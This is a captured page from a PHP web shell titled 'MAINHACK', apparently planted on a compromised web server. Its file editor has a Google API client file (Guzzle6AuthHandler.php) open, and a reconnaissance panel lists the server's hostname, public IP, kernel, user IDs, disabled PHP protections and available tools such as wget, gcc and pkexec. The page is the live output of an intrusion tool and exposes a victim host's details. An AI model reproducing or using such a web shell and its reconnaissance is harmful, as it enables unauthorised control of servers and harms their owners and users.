[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Guzzle6AuthHandler.php
<?php namespace Google\AuthHandler; use Google\Auth\CredentialsLoader; use Google\Auth\FetchAuthTokenCache; use Google\Auth\HttpHandler\HttpHandlerFactory; use Google\Auth\Middleware\AuthTokenMiddleware; use Google\Auth\Middleware\ScopedAccessTokenMiddleware; use Google\Auth\Middleware\SimpleMiddleware; use GuzzleHttp\Client; use GuzzleHttp\ClientInterface; use Psr\Cache\CacheItemPoolInterface; /** * This supports Guzzle 6 */ class Guzzle6AuthHandler { protected $cache; protected $cacheConfig; public function __construct(?CacheItemPoolInterface $cache = null, array $cacheConfig = []) { $this->cache = $cache; $this->cacheConfig = $cacheConfig; } public function attachCredentials( ClientInterface $http, CredentialsLoader $credentials, ?callable $tokenCallback = null ) { // use the provided cache if ($this->cache) { $credentials = new FetchAuthTokenCache( $credentials, $this->cacheConfig, $this->cache ); } return $this->attachCredentialsCache($http, $credentials, $tokenCallback); } public function attachCredentialsCache( ClientInterface $http, FetchAuthTokenCache $credentials, ?callable $tokenCallback = null ) { // if we end up needing to make an HTTP request to retrieve credentials, we // can use our existing one, but we need to throw exceptions so the error // bubbles up. $authHttp = $this->createAuthHttp($http); $authHttpHandler = HttpHandlerFactory::build($authHttp); $middleware = new AuthTokenMiddleware( $credentials, $authHttpHandler, $tokenCallback ); $config = $http->getConfig(); $config['handler']->remove('google_auth'); $config['handler']->push($middleware, 'google_auth'); $config['auth'] = 'google_auth'; $http = new Client($config); return $http; } public function attachToken(ClientInterface $http, array $token, array $scopes) { $tokenFunc = function ($scopes) use ($token) { return $token['access_token']; }; // Derive a cache prefix from the token, to ensure setting a new token // results in a cache-miss. // Note: Supplying a custom "prefix" will bust this behavior. $cacheConfig = $this->cacheConfig; if (!isset($cacheConfig['prefix']) && isset($token['access_token'])) { $cacheConfig['prefix'] = substr(sha1($token['access_token']), -10); } $middleware = new ScopedAccessTokenMiddleware( $tokenFunc, $scopes, $cacheConfig, $this->cache ); $config = $http->getConfig(); $config['handler']->remove('google_auth'); $config['handler']->push($middleware, 'google_auth'); $config['auth'] = 'scoped'; $http = new Client($config); return $http; } public function attachKey(ClientInterface $http, $key) { $middleware = new SimpleMiddleware(['key' => $key]); $config = $http->getConfig(); $config['handler']->remove('google_auth'); $config['handler']->push($middleware, 'google_auth'); $config['auth'] = 'simple'; $http = new Client($config); return $http; } private function createAuthHttp(ClientInterface $http) { return new Client(['http_errors' => true] + $http->getConfig()); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002